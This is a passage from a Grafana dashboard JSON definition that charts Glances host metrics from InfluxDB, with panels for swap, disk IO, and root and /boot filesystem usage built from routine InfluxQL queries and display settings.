mean(\\\"total\\\") FROM \\\"memswap\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"total\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"memswap\",\n\t\t\t\t\t\"tags\": [],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"SWAP\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 20\n\t\t\t},\n\t\t\t\"id\": 10,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [\"mean\", \"max\", \"min\"],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Read\",\n\t\t\t\t\t\"column\": \"sda2.read_bytes\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.diskio\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"read_bytes\\\")/mean(\\\"time_since_update\\\") FROM \\\"diskio\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND  (\\\"disk_name\\\" =~ /^$disk$/) AND $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"sda2.read_bytes\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"diskio\",\n\t\t\t\t\t\"tags\": []\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Write\",\n\t\t\t\t\t\"column\": \"sda2.write_bytes\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.diskio\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"write_bytes\\\")/mean(\\\"time_since_update\\\") FROM \\\"diskio\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND  (\\\"disk_name\\\" =~ /^$disk$/) AND $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"sda2.write_bytes\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"diskio\",\n\t\t\t\t\t\"tags\": [],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"$disk disk IO\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 3,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"Max\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#BF1B00\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"Used\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 100\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 8,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 20\n\t\t\t},\n\t\t\t\"id\": 11,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Used\",\n\t\t\t\t\t\"column\": \"\\\"/.used\\\"\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"fs\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"/.used\\\") FROM \\\"$host.fs\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"used\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"fs\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"mnt_point\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Max\",\n\t\t\t\t\t\"column\": \"\\\"/.size\\\"\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"fs\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"/.size\\\") FROM \\\"$host.fs\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"size\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"fs\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"mnt_point\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"/ Size\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"thresholds\"\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"options\": {\n\t\t\t\t\t\t\t\t\"match\": \"null\",\n\t\t\t\t\t\t\t\t\"result\": {\n\t\t\t\t\t\t\t\t\t\"text\": \"N/A\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"type\": \"special\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(71, 212, 59, 0.4)\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(245, 150, 40, 0.73)\",\n\t\t\t\t\t\t\t\t\"value\": 70\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(225, 40, 40, 0.59)\",\n\t\t\t\t\t\t\t\t\"value\": 90\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"percent\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 2,\n\t\t\t\t\"x\": 20,\n\t\t\t\t\"y\": 20\n\t\t\t},\n\t\t\t\"id\": 16,\n\t\t\t\"maxDataPoints\": 100,\n\t\t\t\"options\": {\n\t\t\t\t\"colorMode\": \"background\",\n\t\t\t\t\"graphMode\": \"area\",\n\t\t\t\t\"justifyMode\": \"auto\",\n\t\t\t\t\"orientation\": \"horizontal\",\n\t\t\t\t\"reduceOptions\": {\n\t\t\t\t\t\"calcs\": [\"mean\"],\n\t\t\t\t\t\"fields\": \"\",\n\t\t\t\t\t\"values\": false\n\t\t\t\t},\n\t\t\t\t\"showPercentChange\": false,\n\t\t\t\t\"textMode\": \"auto\",\n\t\t\t\t\"wideLayout\": true\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"column\": \"\\\"/.percent\\\"\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"fs\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"/.percent\\\") FROM \\\"$host.fs\\\" WHERE $timeFilter GROUP BY time($interval)\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"percent\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"fs\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"mnt_point\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"/ used\",\n\t\t\t\"type\": \"stat\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"thresholds\"\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"options\": {\n\t\t\t\t\t\t\t\t\"match\": \"null\",\n\t\t\t\t\t\t\t\t\"result\": {\n\t\t\t\t\t\t\t\t\t\"text\": \"N/A\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"type\": \"special\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(71, 212, 59, 0.4)\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(245, 150, 40, 0.73)\",\n\t\t\t\t\t\t\t\t\"value\": 70\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(225, 40, 40, 0.59)\",\n\t\t\t\t\t\t\t\t\"value\": 90\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"percent\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 2,\n\t\t\t\t\"x\": 22,\n\t\t\t\t\"y\": 20\n\t\t\t},\n\t\t\t\"id\": 17,\n\t\t\t\"maxDataPoints\": 100,\n\t\t\t\"options\": {\n\t\t\t\t\"colorMode\": \"background\",\n\t\t\t\t\"graphMode\": \"area\",\n\t\t\t\t\"justifyMode\": \"auto\",\n\t\t\t\t\"orientation\": \"horizontal\",\n\t\t\t\t\"reduceOptions\": {\n\t\t\t\t\t\"calcs\": [\"mean\"],\n\t\t\t\t\t\"fields\": \"\",\n\t\t\t\t\t\"values\": false\n\t\t\t\t},\n\t\t\t\t\"showPercentChange\": false,\n\t\t\t\t\"textMode\": \"auto\",\n\t\t\t\t\"wideLayout\": true\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"column\": \"\\\"/home.percent\\\"\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"fs\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"percent\\\") FROM \\\"fs\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND (\\\"mnt_point\\\" = '/boot') AND $timeFilter GROUP BY time($__interval)\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"percent\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"fs\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"mnt_point\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"/boot\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"/boot used\",\n\t\t\t\"type\": \"stat\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_LSAT1}\"\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 3,\n\t\t\t\t\"w\": 24,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 27\n\t\t\t},\n\t\t\t\"id\": 22,\n\t\t\t\"options\": {\n\t\t\t\t\"code\": {\n\t\t\t\t\t\"language\": \"plaintext\",\n\t\t\t\t\t\"showLineNumbers\": false,\n\t\t\t\t\t\"showMiniMap\": false\n\t\t\t\t},\n\t\t\t\t\"content\": \"\",\n\t\t\t\t\"mode\": \"markdown\"\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_LSAT1}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"refId\": \"A\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Sensors\",\n\t\t\t\"type\": \"text\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"description\": \"\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": 